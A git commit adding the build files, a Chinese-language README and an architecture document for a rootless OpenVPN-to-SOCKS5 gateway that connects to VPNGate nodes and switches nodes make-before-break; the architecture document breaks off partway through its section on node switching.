OpenVPN client with an authenticated SOCKS5 front door
A userspace VPN gateway: builds an OpenVPN tunnel to a VPNGate node with
the OpenVPN 3 core, terminates it in-process with lwIP, and serves SOCKS5
(RFC 1928/1929, CONNECT and UDP ASSOCIATE) over it. No root, no tun
device, no routing table changes.
Layout follows the module boundaries in docs/ARCHITECTURE.md:
vpngate/ directory fetch + CSV parse (lines run to ~13.5 KB, so the
parser streams rather than splitting on newlines)
selector/ two-phase pick: cheap prior over the whole list, then real
TCP handshake timing of the top K
ovpn/ openvpn3 driven through TunBuilder, packets over a socketpair
netstack/ lwIP: the TCP/IP stack that makes "no root" possible
egress/ the swappable way out, and make-before-break switching
socks5/ the front door
health/ per-window scoring, and the decision to move
app/ wiring, admin HTTP, signals
docs/FEASIBILITY.md is the analysis this was built from, including the
one requirement that is not physically possible -- carrying established
TCP connections across a node switch -- and what is done instead
(zero-progress redial, UDP re-homing, grace-period drain).
Tests: 155 without the tunnel egress, 172 with it. The seam is the egress
factory; selection, scoring, history and probing all run for real.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
+31
@@ -0,0 +1,31 @@
|
||||
# Build trees. Two of them by convention: `build` and `build-tunnel`, the same
|
||||
# source configured with OVG_WITH_TUNNEL off and on.
|
||||
/build*/
|
||||
CMakeUserPresets.json
|
||||
|
||||
# Runtime state. The node cache and the per-node outcome history are written by
|
||||
# the running service; committing them would ship one machine's opinion of which
|
||||
# volunteer servers are good, and the cache would be stale within the hour.
|
||||
/var/*
|
||||
!/var/.gitkeep
|
||||
|
||||
# Local operator config. etc/openvpngate.conf is the documented sample and is
|
||||
# tracked; anything else in there is a real deployment's, credentials included.
|
||||
/etc/*
|
||||
!/etc/openvpngate.conf
|
||||
*.auth
|
||||
|
||||
# Editor and OS noise
|
||||
*.swp
|
||||
*~
|
||||
.vscode/
|
||||
.idea/
|
||||
.DS_Store
|
||||
|
||||
# Tooling
|
||||
compile_commands.json
|
||||
.cache/
|
||||
perf.data*
|
||||
callgrind.out.*
|
||||
*.gcda
|
||||
*.gcno
|
||||
@@ -0,0 +1,32 @@
|
||||
cmake_minimum_required(VERSION 3.20)
|
||||
project(openvpngate VERSION 0.1.0 LANGUAGES C CXX)
|
||||
|
||||
set(CMAKE_CXX_STANDARD 20)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
set(CMAKE_CXX_EXTENSIONS OFF)
|
||||
set(CMAKE_C_STANDARD 11)
|
||||
set(CMAKE_POSITION_INDEPENDENT_CODE ON)
|
||||
|
||||
if(NOT CMAKE_BUILD_TYPE AND NOT CMAKE_CONFIGURATION_TYPES)
|
||||
set(CMAKE_BUILD_TYPE Release CACHE STRING "" FORCE)
|
||||
endif()
|
||||
|
||||
option(OVG_BUILD_TESTS "Build unit tests" ON)
|
||||
option(OVG_WITH_TUNNEL "Build the OpenVPN3 + lwIP tunnel egress" ON)
|
||||
|
||||
list(APPEND CMAKE_MODULE_PATH ${CMAKE_CURRENT_SOURCE_DIR}/cmake)
|
||||
include(Dependencies)
|
||||
|
||||
add_subdirectory(src)
|
||||
|
||||
if(OVG_BUILD_TESTS)
|
||||
enable_testing()
|
||||
add_subdirectory(tests)
|
||||
endif()
|
||||
|
||||
message(STATUS "")
|
||||
message(STATUS "openvpngate ${PROJECT_VERSION}")
|
||||
message(STATUS " build type : ${CMAKE_BUILD_TYPE}")
|
||||
message(STATUS " tunnel egress: ${OVG_WITH_TUNNEL}")
|
||||
message(STATUS " tests : ${OVG_BUILD_TESTS}")
|
||||
message(STATUS "")
|
||||
@@ -0,0 +1,217 @@
|
||||
# openvpngate
|
||||
|
||||
一个 OpenVPN 客户端 + SOCKS5 代理网关:进程内建立到 VPNGate 节点的 OpenVPN 隧道,
|
||||
对外提供一个带用户名/密码认证的 SOCKS5 服务,并在节点质量下降时自动换节点。
|
||||
|
||||
**全程不需要 root。** 没有 tun 设备、没有路由表改动、没有 capability——隧道在用户态
|
||||
终结(lwIP),进程只是一个普通的监听程序。
|
||||
|
||||
```
|
||||
SOCKS5 客户端 ──► socks5::Server ──► egress::Egress ──► lwIP ──► openvpn3 ──► VPNGate 节点
|
||||
(认证/CONNECT/UDP) (可热替换) (用户态 TCP/IP)
|
||||
```
|
||||
|
||||
先读哪一份:
|
||||
|
||||
| 文档 | 内容 |
|
||||
|---|---|
|
||||
| [docs/FEASIBILITY.md](docs/FEASIBILITY.md) | 动手前的可行性结论。**需求中唯一不可能的部分在 §1**;UDP ASSOCIATE 的明确表态在 §5;1000 并发的真实天花板在 §4 |
|
||||
| [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md) | 模块边界、线程模型、切换状态机、选点与健康检查的具体算法 |
|
||||
| [etc/openvpngate.conf](etc/openvpngate.conf) | 全部配置项,每一项都带默认值和「为什么是这个默认值」 |
|
||||
|
||||
---
|
||||
|
||||
## 1. 需求对照
|
||||
|
||||
| 需求 | 状态 | 说明 |
|
||||
|---|---|---|
|
||||
| 基于 OpenVPN 3 Core | ✅ | 以 `USE_TUN_BUILDER` 编译,走 TunBuilder 路径拿裸 IP 包 |
|
||||
| 连接 VPNGate 节点 | ✅ | 自动抓取 `http://www.vpngate.net/api/iphone/` 并解析 |
|
||||
| 解析超长行 CSV | ✅ | 实测最长行 13529 字符(整个 .ovpn 以 base64 放在最后一列),解析器按流处理,不按行切分 |
|
||||
| 多指标自动选点 | ✅ | 延迟(**本地实测握手**)+ API 指标 + 本地历史成功率,见 ARCHITECTURE §6 |
|
||||
| 节点健康检查与自动重连 | ✅ | 两层:隧道内重连由 openvpn3 负责,换节点由 health + egress 负责 |
|
||||
| SOCKS5 + 用户名密码认证 | ✅ | RFC 1928 / RFC 1929 |
|
||||
| ~1000 并发、不每连接一线程 | ✅ | asio 异步 I/O,固定线程池(默认 ≤4),连接数只占内存不占线程 |
|
||||
| TCP CONNECT / DNS / 超时 / 半关闭 / 异常断开 | ✅ | DNS 在隧道内解析,不泄漏 |
|
||||
| **SOCKS5 UDP ASSOCIATE** | ✅ **支持**,但**不支持分片**(FRAG≠0 直接丢弃并计数) | 见 FEASIBILITY §5.1 |
|
||||
| 换节点后新连接走新隧道 | ✅ | make-before-break:新隧道完全就绪后才切换 |
|
||||
| **换节点后保持已建立的 TCP 连接** | ❌ **不可能** | 见下 |
|
||||
| 做不到就断开旧连接 | ✅ | 旧 egress 进入 drain,宽限期内继续服务,到期全部关闭 |
|
||||
|
||||
### 唯一不可能的部分
|
||||
|
||||
**已建立的 TCP 连接无法跨 VPN 节点迁移。** 换节点意味着换公网出口 IP,而对端 socket 的
|
||||
四元组里写死了旧 IP;序列号、窗口、拥塞状态全在对端内核里,我们既读不到也搬不走。任何
|
||||
声称做到的方案,要么是在对端也装了东西(MPTCP、QUIC 连接迁移),要么是没换出口 IP。
|
||||
完整论证见 FEASIBILITY §1。
|
||||
|
||||
工程上能做到的三件事(都已实现):
|
||||
|
||||
1. **新连接**立刻走新隧道——这是 make-before-break 的意义;
|
||||
2. **零进度连接透明重试**:还没搬运过任何字节的 TCP 连接不含对端状态,直接在新隧道上重
|
||||
拨,客户端完全无感(`switch.retry_zero_progress`);
|
||||
3. **UDP association 原地换巢**:UDP 无连接状态,只换出口 socket,客户端看到的中继端口
|
||||
不变(`switch.rehome_udp`)——这是设计时的意外收获,FEASIBILITY §5.3;
|
||||
|
||||
其余(已搬过字节的 TCP)在宽限期 `switch.drain_grace` 内继续用旧隧道服务,到期关闭。
|
||||
|
||||
---
|
||||
|
||||
## 2. 构建
|
||||
|
||||
系统依赖(Debian/Ubuntu):
|
||||
|
||||
```sh
|
||||
sudo apt install -y build-essential cmake pkg-config \
|
||||
libasio-dev libssl-dev liblz4-dev libfmt-dev git
|
||||
```
|
||||
|
||||
openvpn3 和 lwIP 是源码依赖,默认由 CMake `FetchContent` 拉取;已有 checkout 可以直接指过去
|
||||
(`-DOVG_OPENVPN3_DIR=... -DOVG_LWIP_DIR=...`),避免每次配置都联网。
|
||||
|
||||
> 本工作副本的两个 build 目录正是这么配的,指向 `/tmp/ovpn3` 和 `/tmp/lwip`。`/tmp` 会在
|
||||
> 重启后消失,届时重新 configure(不带这两个参数即可让 FetchContent 重新拉取)。
|
||||
|
||||
```sh
|
||||
cmake -S . -B build -DCMAKE_BUILD_TYPE=Release
|
||||
cmake --build build -j
|
||||
```
|
||||
|
||||
两个开关:
|
||||
|
||||
| 选项 | 默认 | 含义 |
|
||||
|---|---|---|
|
||||
| `OVG_WITH_TUNNEL` | `ON` | 编译 OpenVPN3 + lwIP 隧道出口。**关掉**则只有 `direct` 出口,用于在没有网络依赖的机器上开发和跑测试;此时二进制会拒绝以 `egress.mode = tunnel` 启动,而不是悄悄明文代理 |
|
||||
| `OVG_BUILD_TESTS` | `ON` | 单元测试 |
|
||||
|
||||
产物:`build/src/openvpngate`(主程序)、`build/tests/ovg_tests`(测试)、
|
||||
`build/src/ovg_tunnel_smoke`(只建隧道、ping、退出的诊断工具,仅 `OVG_WITH_TUNNEL=ON`,见 §6)。
|
||||
|
||||
---
|
||||
|
||||
## 3. 运行
|
||||
|
||||
```sh
|
||||
cp etc/openvpngate.conf ./openvpngate.conf # 改 [users] 里的口令
|
||||
./build/src/openvpngate -c openvpngate.conf --check # 只校验配置并打印,不启动
|
||||
./build/src/openvpngate -c openvpngate.conf
|
||||
```
|
||||
|
||||
命令行参数只有六个,都用来覆盖配置文件里的同名项:
|
||||
|
||||
```
|
||||
-c, --config PATH 配置文件
|
||||
--check 校验并打印最终配置后退出
|
||||
--listen ADDR:PORT 覆盖 socks5 监听地址
|
||||
--egress tunnel|direct
|
||||
--log-level trace|debug|info|warn|error|off
|
||||
--no-admin 关掉管理接口
|
||||
-V, --version -h, --help
|
||||
```
|
||||
|
||||
信号:`SIGHUP` 重新加载认证文件和节点列表(不断开任何在途连接);`SIGINT`/`SIGTERM`
|
||||
优雅退出(停止 accept → 排空 → 拆隧道);退出过程中再来一次 `SIGINT` 立即退出。
|
||||
|
||||
### 不带 VPN 先验证代理本身
|
||||
|
||||
`egress.mode = direct` 让所有流量走宿主机 socket,**不经过任何 VPN**。它存在的唯一理由
|
||||
是把「SOCKS5 实现对不对」和「隧道通不通」两件事分开调试:
|
||||
|
||||
```sh
|
||||
./build/src/openvpngate -c openvpngate.conf --egress direct --listen 127.0.0.1:1080
|
||||
curl -sS --socks5-hostname alice:changeme@127.0.0.1:1080 https://example.com -o /dev/null -w '%{http_code}\n'
|
||||
```
|
||||
|
||||
`--socks5-hostname` 让 curl 把域名交给代理解析(DNS 不泄漏路径);`--socks5` 则是本地解析。
|
||||
两条路径都支持。
|
||||
|
||||
---
|
||||
|
||||
## 4. 管理接口
|
||||
|
||||
默认 `127.0.0.1:9080`,**没有认证**,所以务必留在环回口上。
|
||||
|
||||
| 路由 | 用途 |
|
||||
|---|---|
|
||||
| `GET /status` | 当前节点、切换阶段、切换次数/失败次数、排空中的 egress |
|
||||
| `GET /nodes` | 最近一次选点排名,含每个节点的得分、实测 RTT 和「为什么是这个分」 |
|
||||
| `GET /sessions` | 在线会话,含各自挂在哪个 egress 上 |
|
||||
| `GET /health` | 最近若干次健康窗口的原始采样 |
|
||||
| `GET /metrics` | Prometheus 文本格式 |
|
||||
| `GET /healthz` | 存活探针,只有 200/503 |
|
||||
| `POST /switch` | 手动换节点。被拒绝时返回**具体原因**(四种:本构建没有隧道 / 已在切换中 / 防抖动窗口未到 / 上次失败正在退避),不是一句 `false` |
|
||||
|
||||
```sh
|
||||
curl -s localhost:9080/status | jq
|
||||
curl -s -XPOST localhost:9080/switch
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. 测试
|
||||
|
||||
```sh
|
||||
./build/tests/ovg_tests # 全部
|
||||
./build/tests/ovg_tests socks5 # 子串过滤
|
||||
ctest --test-dir build
|
||||
```
|
||||
|
||||
测试不碰公网:CSV 解析吃固定样本,选点探测打的是本文件自己起的环回监听,隧道出口在
|
||||
`EgressManager` 上留了一个 factory 接缝,由可精确复现失败的 fake 顶替。接缝只有这一处
|
||||
(「一个节点怎么变成一条隧道」),选点、评分、历史、探测器都是真的在跑。
|
||||
|
||||
当前:`OVG_WITH_TUNNEL=OFF` 155 passed / 2 skipped,`ON` 172 passed / 3 skipped。
|
||||
|
||||
重点覆盖的是最难在生产观察的那部分——切换状态机:make-before-break 不打扰既有会话、
|
||||
宽限期到期关闭掉队者、hard 模式一次性关闭、候选逐个尝试、地址冲突降级为 hard 切换、
|
||||
排空数量上限、防抖动与 force 的关系、机会性切换必须赢过在位节点、启动预算耗尽后如实报错、
|
||||
以及**冷启动等待节点列表不能算作失败**。
|
||||
|
||||
有一类 bug 是这套测试**结构性看不见**的:测试用 `io.run_for(2ms)` 切片驱动事件循环,
|
||||
而服务是 `io.run()` 一次然后等它返回。lwIP 的周期定时器会永久自我续约,于是它是一份
|
||||
work guard 永远收不回的待办工作——测试全绿,服务却在打完一整套完美的优雅退出日志之后
|
||||
永远不退出(且只在 tunnel 模式,direct 模式根本不建栈)。修复是 `Stack::stop()`,回归
|
||||
测试 `stack_stop_lets_the_io_context_drain` 直接断言 `run()` 会返回。
|
||||
|
||||
---
|
||||
|
||||
## 6. 在这台沙箱里验证到了什么、没验证到什么
|
||||
|
||||
诚实的部分:
|
||||
|
||||
**已用真实网络验证(记录见 FEASIBILITY 附录)**
|
||||
- VPNGate API 实测抓取:1.29 MB / 96 个节点 / 最长行 13529 字符,解析通过;
|
||||
- `tools/tunnel_smoke` 对真实 VPNGate 节点建立隧道成功:拿到 `10.239.88.225/30`,
|
||||
收到 6 个 ICMP echo reply,正常退出——即 openvpn3 + socketpair-as-tun 这条数据面通路
|
||||
本身是成立的。
|
||||
|
||||
**已在 `direct` 模式下逐项运行验证**
|
||||
SOCKS5 CONNECT(远端解析与本地解析、明文与 TLS)、认证拒绝、连接被拒的带内回复(0x05)、
|
||||
UDP ASSOCIATE 的真实 DNS 往返、分片丢弃、`/sessions` 实时反映会话、全部管理路由、未知路由
|
||||
404、`SIGHUP` 重载(94 个节点)、带活跃会话的 `SIGTERM` 优雅退出。
|
||||
|
||||
**已在 `tunnel` 模式下验证的部分**
|
||||
真实节点选点、隧道建立尝试、断线重连、以及**优雅退出**(对真实 VPNGate 节点、在隧道处于
|
||||
重连状态时收到 `SIGTERM`,1 秒内完成拆隧道并退出)。数据面本身走不通,原因见下。
|
||||
|
||||
**没能验证的:完整二进制在 `tunnel` 模式下的端到端数据面。**
|
||||
本沙箱存在**透明 TCP 拦截**:连 `192.0.2.1:1213`(TEST-NET-1,保证不可路由)、
|
||||
`175.129.117.170:1213`、`1.1.1.1:443` 全部在 ~0.9ms「连接成功」然后一个字节都不回;
|
||||
UDP:53 通,UDP:1195 超时。这同时解释了两个现象——探测器报告「到日本 1ms」,以及 OpenVPN
|
||||
握手在发出 client hello 后拿到 `NETWORK_EOF_ERROR`。这是环境限制,不是代码缺陷,但**没被
|
||||
验证过就是没被验证过**:在一个出网正常的机器上跑 `ovg_tunnel_smoke` 是接手这份代码后
|
||||
第一件该做的事。
|
||||
|
||||
---
|
||||
|
||||
## 7. 已知的边界
|
||||
|
||||
- **1000 并发的天花板不在本进程。** 本进程扛得住(异步 I/O、固定线程池、内存是唯一线性
|
||||
成本),lwIP 的 `MEMP_NUM_TCP_PCB` 等已按此调过;真正的瓶颈是 VPNGate 上那些志愿者跑的
|
||||
免费节点,它们通常同时服务几十上百人。详见 FEASIBILITY §4。
|
||||
- **UDP ASSOCIATE 不做分片重组**(FRAG≠0 丢弃并计数)。理由与取舍见 FEASIBILITY §5.1。
|
||||
- **不支持 SOCKS5 BIND**,也不打算支持(FEASIBILITY §5.4)。
|
||||
- **管理接口没有认证**,靠绑定环回口来保护。
|
||||
- VPNGate 绝大多数节点只提供 UDP remote,而只有 TCP 能用一次 `connect()` 量出真实 RTT,
|
||||
所以 top-K 里通常只有三四个能被实测到;其余沿用 API 报告的 ping 并加惩罚系数。日志里
|
||||
会明说「top 10 中有 6 个没有可计时的 TCP remote」,免得看起来像过滤器坏了。
|
||||
@@ -0,0 +1,103 @@
|
||||
# Third-party dependency resolution.
|
||||
#
|
||||
# System packages (asio, OpenSSL, lz4, fmt) are expected to be installed.
|
||||
# openvpn3 and lwIP are source dependencies: point OVG_OPENVPN3_DIR / OVG_LWIP_DIR
|
||||
# at an existing checkout, or let FetchContent pull them.
|
||||
|
||||
include(FetchContent)
|
||||
find_package(PkgConfig REQUIRED)
|
||||
find_package(Threads REQUIRED)
|
||||
|
||||
pkg_search_module(OPENSSL REQUIRED IMPORTED_TARGET openssl)
|
||||
pkg_search_module(LZ4 REQUIRED IMPORTED_TARGET liblz4)
|
||||
|
||||
find_package(fmt REQUIRED)
|
||||
|
||||
find_path(ASIO_INCLUDE_DIR asio.hpp REQUIRED)
|
||||
message(STATUS "asio headers: ${ASIO_INCLUDE_DIR}")
|
||||
|
||||
set(OVG_OPENVPN3_DIR "" CACHE PATH "Existing openvpn3 checkout (skips download)")
|
||||
set(OVG_LWIP_DIR "" CACHE PATH "Existing lwIP checkout (skips download)")
|
||||
|
||||
if(OVG_WITH_TUNNEL)
|
||||
# ---- openvpn3 core -------------------------------------------------------
|
||||
if(OVG_OPENVPN3_DIR)
|
||||
set(OPENVPN3_SOURCE_DIR ${OVG_OPENVPN3_DIR})
|
||||
else()
|
||||
FetchContent_Declare(openvpn3
|
||||
GIT_REPOSITORY https://github.com/OpenVPN/openvpn3.git
|
||||
GIT_TAG master
|
||||
GIT_SHALLOW TRUE)
|
||||
FetchContent_Populate(openvpn3) # populate only: we compile it into our own target
|
||||
set(OPENVPN3_SOURCE_DIR ${openvpn3_SOURCE_DIR})
|
||||
endif()
|
||||
|
||||
if(NOT EXISTS ${OPENVPN3_SOURCE_DIR}/client/ovpncli.cpp)
|
||||
message(FATAL_ERROR "openvpn3 not found at ${OPENVPN3_SOURCE_DIR}")
|
||||
endif()
|
||||
message(STATUS "openvpn3 source: ${OPENVPN3_SOURCE_DIR}")
|
||||
|
||||
# The openvpn3 core is header-only apart from these two units. It cannot be
|
||||
# built as a standalone library because callers must supply OPENVPN_LOG and
|
||||
# friends at compile time, so we compile the sources into our own target.
|
||||
add_library(ovg_openvpn3 STATIC
|
||||
${OPENVPN3_SOURCE_DIR}/client/ovpncli.cpp
|
||||
${OPENVPN3_SOURCE_DIR}/openvpn/crypto/data_epoch.cpp)
|
||||
|
||||
target_include_directories(ovg_openvpn3 PUBLIC ${OPENVPN3_SOURCE_DIR} ${ASIO_INCLUDE_DIR})
|
||||
# -isystem for consumers. The core's headers are not clean under our warning
|
||||
# set and never will be; suppressing per-warning here would mean chasing a
|
||||
# new flag on every upstream bump, and blanket-disabling warnings on the file
|
||||
# that includes them would blind us to problems in our own code in that same
|
||||
# file. This draws the line exactly where it belongs.
|
||||
set_target_properties(ovg_openvpn3 PROPERTIES
|
||||
INTERFACE_SYSTEM_INCLUDE_DIRECTORIES "${OPENVPN3_SOURCE_DIR}")
|
||||
target_compile_definitions(ovg_openvpn3 PUBLIC
|
||||
ASIO_STANDALONE
|
||||
USE_ASIO
|
||||
HAVE_LZ4
|
||||
USE_OPENSSL
|
||||
USE_TUN_BUILDER) # <-- the whole design hinges on this: see docs/FEASIBILITY.md §2.2
|
||||
target_link_libraries(ovg_openvpn3 PUBLIC
|
||||
PkgConfig::OPENSSL PkgConfig::LZ4 fmt::fmt Threads::Threads)
|
||||
target_compile_options(ovg_openvpn3 PRIVATE -Wno-deprecated-declarations)
|
||||
|
||||
# ---- lwIP ----------------------------------------------------------------
|
||||
if(OVG_LWIP_DIR)
|
||||
set(LWIP_SOURCE_DIR ${OVG_LWIP_DIR})
|
||||
else()
|
||||
FetchContent_Declare(lwip
|
||||
GIT_REPOSITORY https://github.com/lwip-tcpip/lwip.git
|
||||
GIT_TAG STABLE-2_2_1_RELEASE
|
||||
GIT_SHALLOW TRUE)
|
||||
FetchContent_Populate(lwip)
|
||||
set(LWIP_SOURCE_DIR ${lwip_SOURCE_DIR})
|
||||
endif()
|
||||
|
||||
if(NOT EXISTS ${LWIP_SOURCE_DIR}/src/Filelists.cmake)
|
||||
message(FATAL_ERROR "lwIP not found at ${LWIP_SOURCE_DIR}")
|
||||
endif()
|
||||
message(STATUS "lwIP source: ${LWIP_SOURCE_DIR}")
|
||||
|
||||
set(LWIP_DIR ${LWIP_SOURCE_DIR})
|
||||
# Our lwipopts.h and the arch/ shim live in src/netstack/lwip_port.
|
||||
set(LWIP_INCLUDE_DIRS
|
||||
${LWIP_SOURCE_DIR}/src/include
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/src/netstack/lwip_port)
|
||||
include(${LWIP_SOURCE_DIR}/src/Filelists.cmake)
|
||||
|
||||
# Core + IPv4 only. Deliberately NOT lwipapi_SRCS: api_lib/api_msg/netbuf/
|
||||
# sockets are the sequential and BSD-socket APIs, which require NO_SYS=0 and
|
||||
# a real threading layer. We drive the raw callback API from a strand instead
|
||||
# (see src/netstack/lwip_stack.h), so those files cannot compile and would not
|
||||
# be used if they did.
|
||||
add_library(ovg_lwip STATIC ${lwipcore_SRCS} ${lwipcore4_SRCS})
|
||||
target_include_directories(ovg_lwip PUBLIC ${LWIP_INCLUDE_DIRS})
|
||||
# -isystem for consumers: lwIP's headers are not clean under our warning set.
|
||||
set_target_properties(ovg_lwip PROPERTIES
|
||||
INTERFACE_SYSTEM_INCLUDE_DIRECTORIES "${LWIP_SOURCE_DIR}/src/include")
|
||||
# No LWIP_DEBUG define here, on purpose. lwIP tests it with #ifdef, not #if,
|
||||
# so defining it to 0 *enables* the debug machinery -- the opposite of what it
|
||||
# reads like. lwip_port/lwipopts.h says the same thing where it #undefs it.
|
||||
target_compile_options(ovg_lwip PRIVATE -Wno-unused-parameter -Wno-address)
|
||||
endif()
|
||||
@@ -0,0 +1,294 @@
|
||||
# 架构设计
|
||||
|
||||
前置阅读:[`FEASIBILITY.md`](FEASIBILITY.md)。本文假定读者已接受其中的结论,特别是
|
||||
「已建立的 TCP 连接无法跨节点迁移」和「必须自带用户态 TCP/IP 栈」。
|
||||
|
||||
---
|
||||
|
||||
## 1. 全局数据流
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────────┐
|
||||
│ Control Plane │
|
||||
│ VpnGateClient → NodeStore → Selector │
|
||||
│ HealthMonitor → SwitchController │
|
||||
└───────────────┬──────────────────────────────┘
|
||||
│ switch_to(node)
|
||||
▼
|
||||
SOCKS5 client ┌──────────────────────┐
|
||||
──────────────► ┌─────┤ EgressManager ├──── owns ────┐
|
||||
(TCP :1080) │ │ active / draining[] │ │
|
||||
│ └──────────────────────┘ │
|
||||
┌──────▼───────┐ │
|
||||
│ socks5::Server│ acquire() ┌────────────────────▼──────────────┐
|
||||
│ ├ Auth │────────────► │ Egress (tunnel #N) │
|
||||
│ ├ Session │ │ ┌──────────────────────────────┐ │
|
||||
│ └ UdpRelay │◄──TcpStream──┤ │ netstack::Stack (lwIP,NO_SYS)│ │
|
||||
└──────┬───────┘ │ │ tcp_new/tcp_connect/... │ │
|
||||
│ │ └──────────────┬───────────────┘ │
|
||||
│ relay │ raw IP pkts │ (socketpair) │
|
||||
▼ │ ┌──────────────▼───────────────┐ │
|
||||
app payload │ │ ovpn::TunnelClient │ │
|
||||
│ │ (ClientAPI::OpenVPNClient) │ │
|
||||
│ └──────────────┬───────────────┘ │
|
||||
└─────────────────┼──────────────────┘
|
||||
▼
|
||||
VPNGate node (TCP/443)
|
||||
```
|
||||
|
||||
关键约束:**每条 SOCKS5 会话在创建时绑定一个 `shared_ptr<Egress>`,终生不变。**
|
||||
这一条决定了整个切换机制的正确性——见 §5。
|
||||
|
||||
---
|
||||
|
||||
## 2. 模块边界
|
||||
|
||||
每个模块一个目录,模块间只通过头文件里的接口交互,禁止跨模块引用实现细节。
|
||||
|
||||
| 模块 | 职责 | 不负责 |
|
||||
|---|---|---|
|
||||
| `common/` | 日志、配置、错误码、Endpoint、缓冲区、指标 | 任何业务逻辑 |
|
||||
| `vpngate/` | 抓 API、解析 CSV、节点模型、磁盘缓存 | 决定用哪个节点 |
|
||||
| `selector/` | 打分、探测、黑名单、选出候选节点 | 建立连接 |
|
||||
| `ovpn/` | 包装 openvpn3、profile 净化、socketpair 管理 | TCP/IP 语义 |
|
||||
| `netstack/` | lwIP 生命周期、netif、TcpStream/UdpSocket、DNS | 知道 VPN 的存在 |
|
||||
| `egress/` | 出口抽象、隧道组装、切换与排空 | SOCKS5 协议 |
|
||||
| `socks5/` | RFC 1928/1929、会话、中继、UDP relay | 出口怎么来的 |
|
||||
| `health/` | 健康评分、切换决策 | 执行切换(交给 EgressManager) |
|
||||
| `app/` | 装配、CLI、配置加载、admin 接口、信号 | 上述任何逻辑 |
|
||||
|
||||
依赖方向严格单向:`app → {health, socks5, egress, selector} → {netstack, ovpn, vpngate} → common`。
|
||||
`netstack` 不知道 `ovpn` 的存在(它只拿到一个 fd),`socks5` 不知道 `ovpn`/`netstack` 的存在
|
||||
(它只拿到 `Egress` 接口)。这是保证长期可维护的核心。
|
||||
|
||||
---
|
||||
|
||||
## 3. 线程模型
|
||||
|
||||
明确的线程边界,避免「哪个线程能调什么」变成口口相传的知识。
|
||||
|
||||
| 线程 | 数量 | 跑什么 | 规则 |
|
||||
|---|---|---|---|
|
||||
| **frontend io** | `min(hw_concurrency, 4)` | SOCKS5 accept / 中继 / admin HTTP | 每会话一个 `strand` 串行化 |
|
||||
| **stack** | 每个 Egress 1 个 | lwIP 全部调用 + 包收发 + 定时器 | **所有 lwIP API 只能在此线程调** |
|
||||
| **ovpn** | 每个 Egress 1 个 | `OpenVPNClient::connect()`(阻塞) | 只通过回调与外界交互 |
|
||||
| **control** | 1 | 抓 API、探测、健康检查、切换编排 | 不做任何阻塞 IO 之外的重活 |
|
||||
|
||||
稳态(1 个 Egress):4 + 1 + 1 + 1 = 7 线程。
|
||||
切换期间(2 个 Egress)峰值 9 线程。与连接数无关——这是「不能一连接一线程」的直接体现。
|
||||
|
||||
跨线程只用两种手段:`asio::post` 到目标 executor,或无锁原子。**不允许**跨线程持锁调用。
|
||||
|
||||
`netstack::Stack::post(fn)` 是唯一进入 lwIP 线程的入口;所有 `TcpStream` 的公开方法内部都
|
||||
自动 post,因此调用者可以从任意线程安全调用。完成回调则 post 回调用方的 executor。
|
||||
|
||||
---
|
||||
|
||||
## 4. 关键接口
|
||||
|
||||
### 4.1 `egress::Egress`
|
||||
|
||||
上层唯一看得见的出口抽象。
|
||||
|
||||
```cpp
|
||||
class Egress {
|
||||
virtual void async_connect_tcp(const Endpoint&, milliseconds timeout, ConnectHandler) = 0;
|
||||
virtual void async_bind_udp(UdpBindHandler) = 0;
|
||||
virtual void async_resolve(const std::string& host, ResolveHandler) = 0;
|
||||
virtual EgressState state() const = 0;
|
||||
virtual EgressStats stats() const = 0;
|
||||
};
|
||||
```
|
||||
|
||||
三个实现:
|
||||
|
||||
- `TunnelEgress` — lwIP + openvpn3,生产用。
|
||||
- `DirectEgress` — 直接用宿主 socket,用于本地测试 SOCKS5 逻辑而不需要 VPN。
|
||||
- (未来)`NetnsEgress` — 见 FEASIBILITY §7。
|
||||
|
||||
`socks5` 模块只依赖这个接口,因此可以完全脱离 VPN 做单元测试。
|
||||
|
||||
### 4.2 `netstack::TcpStream`
|
||||
|
||||
```cpp
|
||||
class TcpStream {
|
||||
virtual void async_read_some(MutableBuffer, ReadHandler) = 0; // cb(ec, n)
|
||||
virtual void async_write(ConstBuffer, WriteHandler) = 0; // 全量写
|
||||
virtual void shutdown_send() = 0; // 半关闭 → FIN
|
||||
virtual void close() = 0;
|
||||
};
|
||||
```
|
||||
|
||||
**流控是显式的**:lwIP 的 `recv` 回调收到数据后,我们只把它挂进 per-conn 队列,
|
||||
**不立刻调 `tcp_recved()`**。只有当上层真的把字节读走了,才按消费量调 `tcp_recved(pcb, n)`
|
||||
推进接收窗口。这样对端的发送速率会被 SOCKS5 客户端的消费速率自然反压,不会在代理里堆积。
|
||||
|
||||
写方向对称:`tcp_write()` 受 `tcp_sndbuf()` 限制,写不下的部分挂起,在 `sent` 回调里续写;
|
||||
`async_write` 的完成回调在**数据被 lwIP 发送缓冲接纳时**触发(而非收到 ACK 时)。
|
||||
|
||||
---
|
||||
|
||||
## 5. 节点切换:make-before-break
|
||||
|
||||
这是本项目最核心的机制,对应 FEASIBILITY §1.3。
|
||||
|
||||
### 5.1 状态机
|
||||
|
||||
```
|
||||
┌────────┐ need_switch ┌───────────┐ picked ┌────────────┐
|
||||
│ Idle ├───────────────►│ Selecting ├──────────►│ Connecting │
|
||||
└────▲───┘ └─────┬─────┘ └──────┬─────┘
|
||||
│ │ no candidate │ tunnel up
|
||||
│ ▼ ▼
|
||||
│ (backoff) ┌────────────┐
|
||||
│ │ Promoting │ 原子换 active_
|
||||
│ └──────┬─────┘
|
||||
│ drain done / grace expired │
|
||||
└───────────────────┬───────────────────────────────┘
|
||||
▼
|
||||
┌────────────┐
|
||||
│ Draining │ 旧 Egress 引用计数归零即销毁
|
||||
└────────────┘
|
||||
Connecting 失败 → 保留旧 Egress,惩罚候选,退避重试
|
||||
```
|
||||
|
||||
**关键:`Promoting` 之前旧隧道一直在服务。** 新隧道建不起来对现有流量零影响。
|
||||
|
||||
### 5.2 引用计数即排空
|
||||
|
||||
```cpp
|
||||
// 会话创建时
|
||||
auto egress = manager.acquire(); // shared_ptr,持有到会话结束
|
||||
|
||||
// 切换时
|
||||
{
|
||||
std::lock_guard lk(mu_);
|
||||
draining_.push_back({std::move(active_), now + drain_grace});
|
||||
active_ = new_egress; // 之后 acquire() 返回新的
|
||||
}
|
||||
```
|
||||
|
||||
